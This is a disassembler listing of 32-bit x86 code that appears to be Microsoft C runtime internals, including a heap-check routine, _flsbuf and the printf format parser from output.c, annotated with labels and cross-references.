loc_41E2C0: ; CODE XREF: sub_41E130+17Fj
cmp [ebp+var_140], 8
jge loc_41E444
mov ecx, [ebp+var_8]
add ecx, 0Ch
mov [ebp+var_130], ecx
mov edx, [ebp+var_130]
add edx, 0FF0h
mov [ebp+var_138], edx
mov eax, [ebp+var_130]
cmp dword ptr [eax-4], 0FFFFFFFFh
jnz short loc_41E302
mov ecx, [ebp+var_138]
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41E30C
loc_41E302: ; CODE XREF: sub_41E130+1C5j
mov eax, 0FFFFFFFBh
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E30C: ; CODE XREF: sub_41E130+1D0j
; sub_41E130+2E6j
mov edx, [ebp+var_130]
mov eax, [edx]
mov [ebp+var_148], eax
mov ecx, [ebp+var_148]
mov [ebp+var_154], ecx
mov edx, [ebp+var_154]
and edx, 1
test edx, edx
jz short loc_41E369
mov eax, [ebp+var_148]
sub eax, 1
mov [ebp+var_148], eax
cmp [ebp+var_148], 400h
jle short loc_41E358
mov eax, 0FFFFFFFAh
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E358: ; CODE XREF: sub_41E130+21Cj
mov ecx, [ebp+var_12C]
add ecx, 1
mov [ebp+var_12C], ecx
jmp short loc_41E3AB
; ---------------------------------------------------------------------------
loc_41E369: ; CODE XREF: sub_41E130+201j
mov edx, [ebp+var_148]
sar edx, 4
sub edx, 1
mov [ebp+var_14C], edx
cmp [ebp+var_14C], 3Fh
jle short loc_41E38E
mov [ebp+var_14C], 3Fh
loc_41E38E: ; CODE XREF: sub_41E130+252j
mov eax, [ebp+var_14C]
mov ecx, [ebp+eax*4+var_118]
add ecx, 1
mov edx, [ebp+var_14C]
mov [ebp+edx*4+var_118], ecx
loc_41E3AB: ; CODE XREF: sub_41E130+237j
cmp [ebp+var_148], 10h
jl short loc_41E3CD
mov eax, [ebp+var_148]
and eax, 0Fh
test eax, eax
jnz short loc_41E3CD
cmp [ebp+var_148], 0FF0h
jle short loc_41E3D7
loc_41E3CD: ; CODE XREF: sub_41E130+282j
; sub_41E130+28Fj
mov eax, 0FFFFFFF9h
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E3D7: ; CODE XREF: sub_41E130+29Bj
mov ecx, [ebp+var_130]
add ecx, [ebp+var_148]
mov edx, [ecx-4]
cmp edx, [ebp+var_154]
jz short loc_41E3F8
mov eax, 0FFFFFFF8h
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E3F8: ; CODE XREF: sub_41E130+2BCj
mov eax, [ebp+var_130]
add eax, [ebp+var_148]
mov [ebp+var_130], eax
mov ecx, [ebp+var_130]
cmp ecx, [ebp+var_138]
jb loc_41E30C
mov edx, [ebp+var_130]
cmp edx, [ebp+var_138]
jz short loc_41E434
mov eax, 0FFFFFFF8h
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E434: ; CODE XREF: sub_41E130+2F8j
mov eax, [ebp+var_8]
add eax, 1000h
mov [ebp+var_8], eax
jmp loc_41E2B1
; ---------------------------------------------------------------------------
loc_41E444: ; CODE XREF: sub_41E130+197j
mov ecx, [ebp+var_18]
mov edx, [ecx]
cmp edx, [ebp+var_12C]
jz short loc_41E45B
mov eax, 0FFFFFFF7h
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E45B: ; CODE XREF: sub_41E130+31Fj
mov eax, [ebp+var_18]
mov [ebp+var_134], eax
mov [ebp+var_14], 0
jmp short loc_41E476
; ---------------------------------------------------------------------------
loc_41E46D: ; CODE XREF: sub_41E130+578j
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
loc_41E476: ; CODE XREF: sub_41E130+33Bj
cmp [ebp+var_14], 40h
jge loc_41E6AD
mov [ebp+var_168], 0
mov edx, [ebp+var_134]
mov [ebp+var_130], edx
loc_41E496: ; CODE XREF: sub_41E130+4A5j
mov eax, [ebp+var_130]
mov ecx, [eax+4]
mov [ebp+var_15C], ecx
mov edx, [ebp+var_15C]
cmp edx, [ebp+var_134]
jz loc_41E5DA
mov eax, [ebp+var_14]
mov ecx, [ebp+var_168]
cmp ecx, [ebp+eax*4+var_118]
jz loc_41E5DA
mov edx, [ebp+var_15C]
cmp edx, [ebp+var_128]
jb short loc_41E4EE
mov eax, [ebp+var_128]
add eax, 8000h
cmp [ebp+var_15C], eax
jb short loc_41E4F8
loc_41E4EE: ; CODE XREF: sub_41E130+3A9j
mov eax, 0FFFFFFF6h
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E4F8: ; CODE XREF: sub_41E130+3BCj
mov ecx, [ebp+var_15C]
and ecx, 0FFFFF000h
mov [ebp+var_164], ecx
mov edx, [ebp+var_164]
add edx, 0Ch
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
add eax, 0FF0h
mov [ebp+var_124], eax
loc_41E524: ; CODE XREF: sub_41E130+41Cj
mov ecx, [ebp+var_10]
cmp ecx, [ebp+var_124]
jz short loc_41E54E
mov edx, [ebp+var_10]
cmp edx, [ebp+var_15C]
jnz short loc_41E53C
jmp short loc_41E54E
; ---------------------------------------------------------------------------
loc_41E53C: ; CODE XREF: sub_41E130+408j
mov eax, [ebp+var_10]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
mov edx, [ebp+var_10]
add edx, ecx
mov [ebp+var_10], edx
jmp short loc_41E524
; ---------------------------------------------------------------------------
loc_41E54E: ; CODE XREF: sub_41E130+3FDj
; sub_41E130+40Aj
mov eax, [ebp+var_10]
cmp eax, [ebp+var_124]
jnz short loc_41E563
mov eax, 0FFFFFFF5h
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E563: ; CODE XREF: sub_41E130+427j
mov ecx, [ebp+var_15C]
mov edx, [ecx]
sar edx, 4
sub edx, 1
mov [ebp+var_14C], edx
cmp [ebp+var_14C], 3Fh
jle short loc_41E58A
mov [ebp+var_14C], 3Fh
loc_41E58A: ; CODE XREF: sub_41E130+44Ej
mov eax, [ebp+var_14C]
cmp eax, [ebp+var_14]
jz short loc_41E59F
mov eax, 0FFFFFFF4h
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E59F: ; CODE XREF: sub_41E130+463j
mov ecx, [ebp+var_15C]
mov edx, [ecx+8]
cmp edx, [ebp+var_130]
jz short loc_41E5BA
mov eax, 0FFFFFFF3h
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E5BA: ; CODE XREF: sub_41E130+47Ej
mov eax, [ebp+var_15C]
mov [ebp+var_130], eax
mov ecx, [ebp+var_168]
add ecx, 1
mov [ebp+var_168], ecx
jmp loc_41E496
; ---------------------------------------------------------------------------
loc_41E5DA: ; CODE XREF: sub_41E130+381j
; sub_41E130+397j
cmp [ebp+var_168], 0
jz short loc_41E651
cmp [ebp+var_14], 20h
jge short loc_41E61B
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_11C]
or eax, edx
mov [ebp+var_11C], eax
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_144]
or eax, edx
mov [ebp+var_144], eax
jmp short loc_41E651
; ---------------------------------------------------------------------------
loc_41E61B: ; CODE XREF: sub_41E130+4B7j
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_150]
or eax, edx
mov [ebp+var_150], eax
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_158]
or eax, edx
mov [ebp+var_158], eax
loc_41E651: ; CODE XREF: sub_41E130+4B1j
; sub_41E130+4E9j
mov ecx, [ebp+var_130]
mov edx, [ecx+4]
cmp edx, [ebp+var_134]
jnz short loc_41E674
mov eax, [ebp+var_14]
mov ecx, [ebp+var_168]
cmp ecx, [ebp+eax*4+var_118]
jz short loc_41E67E
loc_41E674: ; CODE XREF: sub_41E130+530j
mov eax, 0FFFFFFF2h
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E67E: ; CODE XREF: sub_41E130+542j
mov edx, [ebp+var_134]
mov eax, [edx+8]
cmp eax, [ebp+var_130]
jz short loc_41E699
mov eax, 0FFFFFFF1h
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E699: ; CODE XREF: sub_41E130+55Dj
mov ecx, [ebp+var_134]
add ecx, 8
mov [ebp+var_134], ecx
jmp loc_41E46D
; ---------------------------------------------------------------------------
loc_41E6AD: ; CODE XREF: sub_41E130+146j
; sub_41E130+34Aj
mov edx, [ebp+var_C]
mov eax, [ebp+var_160]
mov ecx, [ebp+var_11C]
cmp ecx, [eax+edx*4+44h]
jnz short loc_41E6DA
mov edx, [ebp+var_C]
mov eax, [ebp+var_160]
mov ecx, [ebp+var_150]
cmp ecx, [eax+edx*4+0C4h]
jz short loc_41E6E1
loc_41E6DA: ; CODE XREF: sub_41E130+590j
mov eax, 0FFFFFFF0h
jmp short loc_41E749
; ---------------------------------------------------------------------------
loc_41E6E1: ; CODE XREF: sub_41E130+5A8j
mov edx, [ebp+var_128]
add edx, 8000h
mov [ebp+var_128], edx
mov eax, [ebp+var_18]
add eax, 204h
mov [ebp+var_18], eax
mov ecx, [ebp+var_4]
shl ecx, 1
mov [ebp+var_4], ecx
jmp loc_41E20A
; ---------------------------------------------------------------------------
loc_41E70B: ; CODE XREF: sub_41E130+E7j
mov edx, [ebp+var_13C]
mov eax, [ebp+var_144]
cmp eax, [edx]
jnz short loc_41E72C
mov ecx, [ebp+var_13C]
mov edx, [ebp+var_158]
cmp edx, [ecx+4]
jz short loc_41E733
loc_41E72C: ; CODE XREF: sub_41E130+5E9j
mov eax, 0FFFFFFEFh
jmp short loc_41E749
; ---------------------------------------------------------------------------
loc_41E733: ; CODE XREF: sub_41E130+5FAj
mov eax, [ebp+var_13C]
add eax, 14h
mov [ebp+var_13C], eax
jmp loc_41E173
; ---------------------------------------------------------------------------
loc_41E747: ; CODE XREF: sub_41E130+5Ej
xor eax, eax
loc_41E749: ; CODE XREF: sub_41E130+26j
; sub_41E130+8Ej ...
mov esp, ebp
pop ebp
retn
sub_41E130 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E750 proc near ; CODE XREF: sub_418730+66p
; sub_4194F0+19p ...
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = byte ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 1
cmp eax, 100h
ja short loc_41E77A
mov ecx, [ebp+arg_0]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, [ebp+arg_4]
jmp loc_41E803
; ---------------------------------------------------------------------------
loc_41E77A: ; CODE XREF: sub_41E750+11j
mov ecx, [ebp+arg_0]
sar ecx, 8
and ecx, 0FFh
and ecx, 0FFh
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_41E7C3
mov ecx, [ebp+arg_0]
sar ecx, 8
and ecx, 0FFh
mov [ebp+var_C], cl
mov dl, byte ptr [ebp+arg_0]
mov [ebp+var_B], dl
mov [ebp+var_A], 0
mov [ebp+var_8], 2
jmp short loc_41E7D4
; ---------------------------------------------------------------------------
loc_41E7C3: ; CODE XREF: sub_41E750+4Fj
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_C], al
mov [ebp+var_B], 0
mov [ebp+var_8], 1
loc_41E7D4: ; CODE XREF: sub_41E750+71j
push 1
push 0
push 0
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
push edx
lea eax, [ebp+var_C]
push eax
push 1
call sub_426F40
add esp, 1Ch
test eax, eax
jnz short loc_41E7F8
xor eax, eax
jmp short loc_41E803
; ---------------------------------------------------------------------------
loc_41E7F8: ; CODE XREF: sub_41E750+A2j
mov eax, [ebp+var_4]
and eax, 0FFFFh
and eax, [ebp+arg_4]
loc_41E803: ; CODE XREF: sub_41E750+25j
; sub_41E750+A6j
mov esp, ebp
pop ebp
retn
sub_41E750 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E810 proc near ; CODE XREF: sub_418D70+E5p
; sub_418EF0+E4p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
loc_41E819: ; CODE XREF: sub_41E810+31j
cmp [ebp+arg_4], 0
jnz short loc_41E83D
push offset aStrNull ; "str != NULL"
push 0
push 69h
push offset a_flsbuf_c ; "_flsbuf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41E83D
int 3 ; Trap to Debugger
loc_41E83D: ; CODE XREF: sub_41E810+Dj
; sub_41E810+2Aj
xor eax, eax
test eax, eax
jnz short loc_41E819
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov [ebp+var_10], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 82h
test edx, edx
jz short loc_41E86F
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 40h
test ecx, ecx
jz short loc_41E885
loc_41E86F: ; CODE XREF: sub_41E810+50j
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
or al, 20h
mov ecx, [ebp+var_8]
mov [ecx+0Ch], eax
or eax, 0FFFFFFFFh
jmp loc_41EA7D
; ---------------------------------------------------------------------------
loc_41E885: ; CODE XREF: sub_41E810+5Dj
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 1
test eax, eax
jz short loc_41E8DC
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 10h
test eax, eax
jz short loc_41E8C5
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov [ecx], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFFEh
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
jmp short loc_41E8DC
; ---------------------------------------------------------------------------
loc_41E8C5: ; CODE XREF: sub_41E810+97j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
or eax, 0FFFFFFFFh
jmp loc_41EA7D
; ---------------------------------------------------------------------------
loc_41E8DC: ; CODE XREF: sub_41E810+80j
; sub_41E810+B3j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
or edx, 2
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFEFh
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov [ebp+var_4], 0
mov edx, [ebp+var_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jnz short loc_41E94F
cmp [ebp+var_8], offset dword_442FA0
jz short loc_41E933
cmp [ebp+var_8], offset dword_442FC0
jnz short loc_41E943
loc_41E933: ; CODE XREF: sub_41E810+118j
mov edx, [ebp+var_10]
push edx
call sub_4271D0
add esp, 4
test eax, eax
jnz short loc_41E94F
loc_41E943: ; CODE XREF: sub_41E810+121j
mov eax, [ebp+var_8]
push eax
call sub_427100
add esp, 4
loc_41E94F: ; CODE XREF: sub_41E810+10Fj
; sub_41E810+131j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jz loc_41EA3B
loc_41E963: ; CODE XREF: sub_41E810+187j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [eax]
sub edx, [ecx+8]
test edx, edx
jge short loc_41E993
push offset aInconsistentIo ; "(\"inconsistent IOB fields\", stream->_pt"...
push 0
push 0A0h
push offset a_flsbuf_c ; "_flsbuf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41E993
int 3 ; Trap to Debugger
loc_41E993: ; CODE XREF: sub_41E810+160j
; sub_41E810+180j
xor eax, eax
test eax, eax
jnz short loc_41E963
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [ecx]
sub eax, [edx+8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+var_8]
mov [eax], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+18h]
sub edx, 1
mov eax, [ebp+var_8]
mov [eax+4], edx
cmp [ebp+var_4], 0
jle short loc_41E9E6
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+8]
push eax
mov ecx, [ebp+var_10]
push ecx
call sub_422370
add esp, 0Ch
mov [ebp+var_C], eax
jmp short loc_41EA2E
; ---------------------------------------------------------------------------
loc_41E9E6: ; CODE XREF: sub_41E810+1B8j
cmp [ebp+var_10], 0FFFFFFFFh
jz short loc_41EA09
mov edx, [ebp+var_10]
sar edx, 5
mov eax, [ebp+var_10]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_492420[edx*4]
add ecx, eax
mov [ebp+var_14], ecx
jmp short loc_41EA10
; ---------------------------------------------------------------------------
loc_41EA09: ; CODE XREF: sub_41E810+1DAj
mov [ebp+var_14], offset dword_443658
loc_41EA10: ; CODE XREF: sub_41E810+1F7j
mov edx, [ebp+var_14]
movsx eax, byte ptr [edx+4]
and eax, 20h
test eax, eax
jz short loc_41EA2E
push 2
push 0
mov ecx, [ebp+var_10]
push ecx
call sub_424B00
add esp, 0Ch
loc_41EA2E: ; CODE XREF: sub_41E810+1D4j
; sub_41E810+20Cj
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41EA59
; ---------------------------------------------------------------------------
loc_41EA3B: ; CODE XREF: sub_41E810+14Dj
mov [ebp+var_4], 1
mov edx, [ebp+var_4]
push edx
lea eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_10]
push ecx
call sub_422370
add esp, 0Ch
mov [ebp+var_C], eax
loc_41EA59: ; CODE XREF: sub_41E810+229j
mov edx, [ebp+var_C]
cmp edx, [ebp+var_4]
jz short loc_41EA75
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
or ecx, 20h
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
or eax, 0FFFFFFFFh
jmp short loc_41EA7D
; ---------------------------------------------------------------------------
loc_41EA75: ; CODE XREF: sub_41E810+24Fj
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_41EA7D: ; CODE XREF: sub_41E810+70j
; sub_41E810+C7j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41E810 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA90 proc near ; CODE XREF: sub_418D70+9Ap
; sub_418EF0+99p ...
var_2A6 = word ptr -2A6h
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_288 = byte ptr -288h
var_284 = dword ptr -284h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = word ptr -248h
var_244 = dword ptr -244h
var_240 = byte ptr -240h
var_23F = byte ptr -23Fh
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = byte ptr -228h
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2A8h
push ebx
push esi
push edi
mov [ebp+var_24], 0
mov [ebp+var_22C], 0
mov [ebp+var_18], 0
loc_41EAB4: ; CODE XREF: sub_41EA90:loc_41F6A2j
mov eax, [ebp+arg_4]
mov cl, [eax]
mov byte ptr [ebp+var_28], cl
movsx edx, byte ptr [ebp+var_28]
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
test edx, edx
jz loc_41F6A7
cmp [ebp+var_22C], 0
jl loc_41F6A7
movsx ecx, byte ptr [ebp+var_28]
cmp ecx, 20h
jl short loc_41EB06
movsx edx, byte ptr [ebp+var_28]
cmp edx, 78h
jg short loc_41EB06
movsx eax, byte ptr [ebp+var_28]
movsx ecx, byte ptr [eax+432EC8h]
and ecx, 0Fh
mov [ebp+var_290], ecx
jmp short loc_41EB10
; ---------------------------------------------------------------------------
loc_41EB06: ; CODE XREF: sub_41EA90+55j
; sub_41EA90+5Ej
mov [ebp+var_290], 0
loc_41EB10: ; CODE XREF: sub_41EA90+74j
mov edx, [ebp+var_290]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_18]
movsx edx, ds:byte_432EE8[ecx+eax*8]
sar edx, 4
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
mov [ebp+var_294], eax
cmp [ebp+var_294], 7
ja loc_41F6A2
mov ecx, [ebp+var_294]
jmp ds:off_41F6B4[ecx*4]
loc_41EB50: ; CODE XREF: sub_41EA90+332j
; DATA XREF: .text:off_41F6B4o
mov [ebp+var_1C], 0
mov edx, [ebp+var_28]
and edx, 0FFh
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_41EBCD
lea edx, [ebp+var_22C]
push edx
mov eax, [ebp+arg_0]
push eax
movsx ecx, byte ptr [ebp+var_28]
push ecx
call sub_41F7C0
add esp, 0Ch
mov edx, [ebp+arg_4]
mov al, [edx]
mov byte ptr [ebp+var_28], al
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
loc_41EB9E: ; CODE XREF: sub_41EA90+13Bj
movsx edx, byte ptr [ebp+var_28]
test edx, edx
jnz short loc_41EBC7
push offset aCh_t0 ; "ch != _T('\\0')"
push 0
push 186h
push offset aOutput_c ; "output.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41EBC7
int 3 ; Trap to Debugger
loc_41EBC7: ; CODE XREF: sub_41EA90+114j
; sub_41EA90+134j
xor eax, eax
test eax, eax
jnz short loc_41EB9E
loc_41EBCD: ; CODE XREF: sub_41EA90+E3j
lea ecx, [ebp+var_22C]
push ecx
mov edx, [ebp+arg_0]
push edx
movsx eax, byte ptr [ebp+var_28]
push eax
call sub_41F7C0
add esp, 0Ch
jmp loc_41F6A2
; ---------------------------------------------------------------------------
loc_41EBEA: ; CODE XREF: sub_41EA90+B9j
; DATA XREF: .text:0041F6B8o
mov [ebp+var_8], 0
mov ecx, [ebp+var_8]
mov [ebp+var_23C], ecx
mov edx, [ebp+var_23C]
mov [ebp+var_244], edx
mov eax, [ebp+var_244]
mov [ebp+var_10], eax
mov [ebp+var_4], 0
mov [ebp+var_234], 0FFFFFFFFh
mov [ebp+var_1C], 0
jmp loc_41F6A2
; ---------------------------------------------------------------------------
loc_41EC2C: ; CODE XREF: sub_41EA90+B9j
; DATA XREF: .text:0041F6BCo
movsx ecx, byte ptr [ebp+var_28]
mov [ebp+var_298], ecx
mov edx, [ebp+var_298]
sub edx, 20h
mov [ebp+var_298], edx
cmp [ebp+var_298], 10h
ja short loc_41EC96
mov ecx, [ebp+var_298]
xor eax, eax
mov al, ds:byte_41F6EC[ecx]
jmp ds:off_41F6D4[eax*4]
loc_41EC63: ; CODE XREF: sub_41EA90+B9j
; DATA XREF: .text:0041F6E0o
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
jmp short loc_41EC96
; ---------------------------------------------------------------------------
loc_41EC6E: ; CODE XREF: sub_41EA90+B9j
; sub_41EA90+1CCj
; DATA XREF: ...
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
jmp short loc_41EC96
; ---------------------------------------------------------------------------
loc_41EC78: ; CODE XREF: sub_41EA90+B9j
; sub_41EA90+1CCj
; DATA XREF: ...
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
jmp short loc_41EC96
; ---------------------------------------------------------------------------
loc_41EC83: ; CODE XREF: sub_41EA90+B9j
; sub_41EA90+1CCj
; DATA XREF: ...
mov edx, [ebp+var_4]
or dl, 80h
mov [ebp+var_4], edx
jmp short loc_41EC96
; ---------------------------------------------------------------------------
loc_41EC8E: ; CODE XREF: sub_41EA90+B9j
; sub_41EA90+1CCj
; DATA XREF: ...
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_41EC96: ; CODE XREF: sub_41EA90+B9j
; sub_41EA90+1BCj ...
jmp loc_41F6A2
; ---------------------------------------------------------------------------
loc_41EC9B: ; CODE XREF: sub_41EA90+B9j
; DATA XREF: .text:0041F6C0o
movsx ecx, byte ptr [ebp+var_28]
cmp ecx, 2Ah
jnz short loc_41ECD7
lea edx, [ebp+arg_8]
push edx
call sub_41F8D0
add esp, 4
mov [ebp+var_244], eax
cmp [ebp+var_244], 0
jge short loc_41ECD5
mov eax, [ebp+var_4]
or al, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_244]
neg ecx
mov [ebp+var_244], ecx
loc_41ECD5: ; CODE XREF: sub_41EA90+22Dj
jmp short loc_41ECEE
; ---------------------------------------------------------------------------
loc_41ECD7: ; CODE XREF: sub_41EA90+212j
mov edx, [ebp+var_244]
imul edx, 0Ah
movsx eax, byte ptr [ebp+var_28]
lea ecx, [edx+eax-30h]
mov [ebp+var_244], ecx
loc_41ECEE: ; CODE XREF: sub_41EA90:loc_41ECD5j
jmp loc_41F6A2
; ---------------------------------------------------------------------------
loc_41ECF3: ; CODE XREF: sub_41EA90+B9j
; DATA XREF: .text:0041F6C4o
mov [ebp+var_234], 0
jmp loc_41F6A2
; ---------------------------------------------------------------------------
loc_41ED02: ; CODE XREF: sub_41EA90+B9j
; DATA XREF: .text:0041F6C8o
movsx edx, byte ptr [ebp+var_28]
cmp edx, 2Ah
jnz short loc_41ED32
lea eax, [ebp+arg_8]
push eax
call sub_41F8D0
add esp, 4
mov [ebp+var_234], eax
cmp [ebp+var_234], 0
jge short loc_41ED30
mov [ebp+var_234], 0FFFFFFFFh
loc_41ED30: ; CODE XREF: sub_41EA90+294j
jmp short loc_41ED49
; ---------------------------------------------------------------------------
loc_41ED32: ; CODE XREF: sub_41EA90+279j
mov ecx, [ebp+var_234]
imul ecx, 0Ah
movsx edx, byte ptr [ebp+var_28]
lea eax, [ecx+edx-30h]
mov [ebp+var_234], eax
loc_41ED49: ; CODE XREF: sub_41EA90:loc_41ED30j
jmp loc_41F6A2
; ---------------------------------------------------------------------------
loc_41ED4E: ; CODE XREF: sub_41EA90+B9j
; DATA XREF: .text:0041F6CCo
movsx ecx, byte ptr [ebp+var_28]
mov [ebp+var_29C], ecx
mov edx, [ebp+var_29C]
sub edx, 49h
mov [ebp+var_29C], edx
cmp [ebp+var_29C], 2Eh
ja short loc_41EDDC
mov ecx, [ebp+var_29C]
xor eax, eax
mov al, ds:byte_41F711[ecx]
jmp ds:off_41F6FD[eax*4]
loc_41ED85: ; DATA XREF: .text:0041F705o
mov edx, [ebp+var_4]
or edx, 10h
mov [ebp+var_4], edx
jmp short loc_41EDDC
; ---------------------------------------------------------------------------
loc_41ED90: ; CODE XREF: sub_41EA90+2EEj
; DATA XREF: .text:off_41F6FDo
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
cmp ecx, 36h
jnz short loc_41EDBB
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+1]
cmp eax, 34h
jnz short loc_41EDBB
mov ecx, [ebp+arg_4]
add ecx, 2
mov [ebp+arg_4], ecx
mov edx, [ebp+var_4]
or dh, 80h
mov [ebp+var_4], edx
jmp short loc_41EDC7
; ---------------------------------------------------------------------------
loc_41EDBB: ; CODE XREF: sub_41EA90+309j
; sub_41EA90+315j
mov [ebp+var_18], 0
jmp loc_41EB50
; ---------------------------------------------------------------------------
loc_41EDC7: ; CODE XREF: sub_41EA90+329j
jmp short loc_41EDDC
; ---------------------------------------------------------------------------
loc_41EDC9: ; CODE XREF: sub_41EA90+2EEj
; DATA XREF: .text:0041F701o
mov eax, [ebp+var_4]
or al, 20h
mov [ebp+var_4], eax
jmp short loc_41EDDC
; ---------------------------------------------------------------------------
loc_41EDD3: ; CODE XREF: sub_41EA90+2EEj
; DATA XREF: .text:0041F709o
mov ecx, [ebp+var_4]
or ch, 8
mov [ebp+var_4], ecx
loc_41EDDC: ; CODE XREF: sub_41EA90+2DEj
; sub_41EA90+2EEj ...
jmp loc_41F6A2
; ---------------------------------------------------------------------------
